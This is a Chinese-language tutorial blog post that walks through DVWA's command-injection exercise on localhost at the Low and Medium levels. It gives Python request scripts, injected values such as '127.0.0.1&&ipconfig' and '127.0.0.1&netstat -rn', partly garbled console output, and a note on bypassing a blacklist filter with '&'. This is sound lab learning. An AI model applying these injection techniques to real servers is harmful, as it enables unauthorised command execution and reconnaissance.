使用Python脚本学习DVWA
Command Injection(命令注入)
本文全程参考[https://blog.csdn.net/zy15667076526/article/details/109705286?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_baidulandingword-0]向该博主致谢
Low
浏览器按F12打开开发人员调试利器,访问DVWA。
发现使用post方法访问http://localhost/DVWA/vulnerabilities/exec/
提交ip=127.0.0.1&Submit=Submit
Python 脚本
#-*- coding:utf-8 -*-
import requests
headers = {'Cookie':'security=low; PHPSESSID=jdftj2p08d067d7o3560ekeov5','Referer':'http://localhost/DVWA/vulnerabilities/brute/index.php?username=admin&password=password&Login=Login&user_token=864a7651f4059a03020675f7eecb955c'}
command ='127.0.0.1'
data={'ip':command,'Submit':'Submit'}
def post_http(data):
url = 'http://localhost/DVWA/vulnerabilities/exec/'
req = requests.post(url,headers=headers,data=data)
return(url,req.status_code,req.text)
print('++++++++开始命令注入++++++++')
url,status_code,result=post_http(data)
print(str(data['ip'])+'|'+url+'|'+str(status_code)+'|'+str(len(result)))
print(result)
执行结果
可以看到执行ping命令测试127.0.0.1(本机回环地址)的连通性。
D:\sqlinjection>python Command_Injection_low.py
++++++++开始命令注入++++++++
192.168.1.1 && ipconfig|http://localhost/DVWA/vulnerabilities/exec/|200|5397
............
*���� Ping 127.0.0.1 ���� 32 �ֽڵ�����:
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
127.0.0.1 �� Ping ͳ����Ϣ:
���ݰ�: �ѷ��� = 4���ѽ��� = 4����ʧ = 0 (0% ��ʧ)��
�����г̵Ĺ���ʱ��(�Ժ���Ϊ��λ):
��� = 0ms��� = 0ms��ƽ�� = 0ms*
............
注入其它命令
将python脚本的 command =‘127.0.0.1’ 改为 command =‘127.0.0.1&&ipconfig’
执行结果
可以看到执行ping 127.0.0.1 后,又执行ipconfig(查看网络配置)的命令,无线网卡上的ip为192.168.1.3
D:\sqlinjection>python Command_Injection_low.py
++++++++开始命令注入++++++++
127.0.0.1&&ipconfig|http://localhost/DVWA/vulnerabilities/exec/|200|5387
............
���� Ping 127.0.0.1 ���� 32 �ֽڵ�����:
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
127.0.0.1 �� Ping ͳ����Ϣ:
���ݰ�: �ѷ��� = 4���ѽ��� = 4����ʧ = 0 (0% ��ʧ)��
�����г̵Ĺ���ʱ��(�Ժ���Ϊ��λ):
��� = 0ms��� = 0ms��ƽ�� = 0ms
Windows IP ����
��̫�������� ��̫�� 4:
ý��״̬ . . . . . . . . . . . . : ý���ѶϿ�����
�����ض��� DNS �� . . . . . . . :
��̫�������� ��̫��:
ý��״̬ . . . . . . . . . . . . : ý���ѶϿ�����
�����ض��� DNS �� . . . . . . . :
���߾����������� ��������* 1:
ý��״̬ . . . . . . . . . . . . : ý���ѶϿ�����
�����ض��� DNS �� . . . . . . . :
���߾����������� ��������* 2:
ý��״̬ . . . . . . . . . . . . : ý���ѶϿ�����
�����ض��� DNS �� . . . . . . . :
���߾����������� WLAN:
�����ض��� DNS �� . . . . . . . :
IPv6 ��ַ . . . . . . . . . . . . : 240e:390:470:41a0:c430:f233:4119:1b2e
��ʱ IPv6 ��ַ. . . . . . . . . . : 240e:390:470:41a0:251a:ccf8:5425:fef6
�������� IPv6 ��ַ. . . . . . . . : fe80::c430:f233:4119:1b2e%17
IPv4 ��ַ . . . . . . . . . . . . : 192.168.1.3
�������� . . . . . . . . . . . . : 255.255.255.0
Ĭ������. . . . . . . . . . . . . : fe80::1%17
192.168.1.1
............
不完全测试,可以执行dir netstat ipconfig calc notepad等命令,但net user执行后无相应输出,估计是DVWA安装在Windows 10上吧。
Medium
根据参考博文,Medium的php源码中对&&和;字符做过滤处理,所以&&不能成功,使用&替代
DOS中&用法
这里需要注意的是”&&”与” &”的区别:Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
复现过程-Medium 相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&”
、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。
Python 脚本
将python脚本的 command =‘127.0.0.1’ 改为 command = ‘127.0.0.1&netstat -rn’
#-*- coding:utf-8 -*-
import requests
headers = {'Cookie':'security=medium; PHPSESSID=jdftj2p08d067d7o3560ekeov5; PHPSESSID=jdftj2p08d067d7o3560ekeov5','Referer':'http://localhost/DVWA/vulnerabilities/brute/index.php?username=admin&password=password&Login=Login&user_token=864a7651f4059a03020675f7eecb955c'}
command = '127.0.0.1&netstat -rn'
data={'ip':command,'Submit':'Submit'}
def post_http(data):
url = 'http://localhost/DVWA/vulnerabilities/exec/'
req = requests.post(url,headers=headers,data=data)
return(url,req.status_code,req.text)
print('++++++++开始命令注入++++++++')
url,status_code,result=post_http(data)
print(str(data['ip'])+'|'+url+'|'+str(status_code)+'|'+str(len(result)))
print(result)
执行结果
执行ping命令后,又执行netstat -rn命令获取服务器网络路由表。
D:\sqlinjection>python Command_Injection_medium.py
++++++++开始命令注入++++++++
127.0.0.1&netstat -rn|http://localhost/DVWA/vulnerabilities/exec/|200|6865
............
���� Ping 127.0.0.1 ���� 32 �ֽڵ�����:
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
127.0.0.1 �� Ping ͳ����Ϣ:
���ݰ�: �ѷ��� = 4���ѽ��� = 4����ʧ = 0 (0% ��ʧ)��
�����г̵Ĺ���ʱ��(�Ժ���Ϊ��λ):
��� = 0ms��� = 0ms��ƽ�� = 0ms
===========================================================================
�ӿ��б�
25...00 ff fb e0 7b ee ......Sangfor SSL VPN CS Support System VNIC
16...b0 25 aa 2f 4e b8 ......Realtek PCIe GbE Family Controller
12...38 00 25 c6 e9 2d ......Microsoft Wi-Fi Direct Virtual Adapter
11...3a 00 25 c6 e9 2c ......Microsoft Wi-Fi Direct Virtual Adapter #2
17...38 00 25 c6 e9 2c ......Intel(R) Wireless-AC 9462
1...........................Software Loopback Interface 1
===========================================================================
IPv4 ·�ɱ�
===========================================================================
�·��:
����Ŀ�� �������� ���� �ӿ� Ծ����
0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.3 55
127.0.0.0 255.0.0.0 ����·�� 127.0.0.1 331
127.0.0.1 255.255.255.255 ����·�� 127.0.0.1 331
127.255.255.255 255.255.255.255 ����·�� 127.0.0.1 331
192.168.1.0 255.255.255.0 ����·�� 192.168.1.3 311
192.168.1.3 255.255.255.255 ����·�� 192.168.1.3 311
192.168.1.255 255.255.255.255 ����·�� 192.168.1.3 311
224.0.0.0 240.0.0.0 ����·�� 127.0.0.1 331
224.0.0.0 240.0.0.0 ����·�� 192.168.1.3 311
255.255.255.255 255.255.255.255 ����·�� 127.0.0.1 331
255.255.255.255 255.255.255.255 ����·�� 192.168.1.3 311
===========================================================================
����·��:
��
IPv6 ·�ɱ�
===========================================================================
�·��:
�ӿ�Ծ��������Ŀ�� ����
17 311 ::/0 fe80::1
1 331 ::1/128 ����·��
17 311 240e:390:470:41a0::/64 ����·��
17 311 240e:390:470:41a0:251a:ccf8:5425:fef6/128
����·��
17 311 240e:390:470:41a0:c430:f233:4119:1b2e/128
����·��
17 311 fe80::/64 ����·��
17 311 fe80::c430:f233:4119:1b2e/128
����·��
1 331 ff00::/8 ����·��
17 311 ff00::/8 ����·��
===========================================================================
����·��:
��
............
DOS中符号总结
此部分均引用至参考博文
l & 组合命令
语法:第一条命令 & 第二条命令 [& 第三条命令…]
&、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是
允许的,而且用的非常广泛。因为批处理认行不认命令数目。
这个符号允许在一行中使用 2 个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。
这里&两边的命令是顺序执行的,从前往后执行。
比如:
dir z:\ & dir y:\ & dir c:\
以上命令会连续显示 z,y,c 盘的内容,不理会该盘是否存在
l Command 1 | Command 2
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。
l ; 分号
分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回
错误报告,但程序仍会执行。(有人说不会继续执行,其实测试一下就知道了)
比如:
dir c:;d:;e:;z:\
以上命令相当于
dir c:\
dir d:\
dir e:\
dir f:\
如果其中 z 盘不存在,运行显示:系统找不到指定的路径。然后终止命令的执行。
例:dir c:;d:;e:\1.txt
以上命令相当于
dir c:\
dir d:\
dir e:\1.txt
其中文件 e:\1.txt 不存在,但 e 盘存在,有错误提示,但命令仍会执行。
为什么?如果目标路径不存在,则终止执行;如果路径存在,仅文件不存在,则继续执行。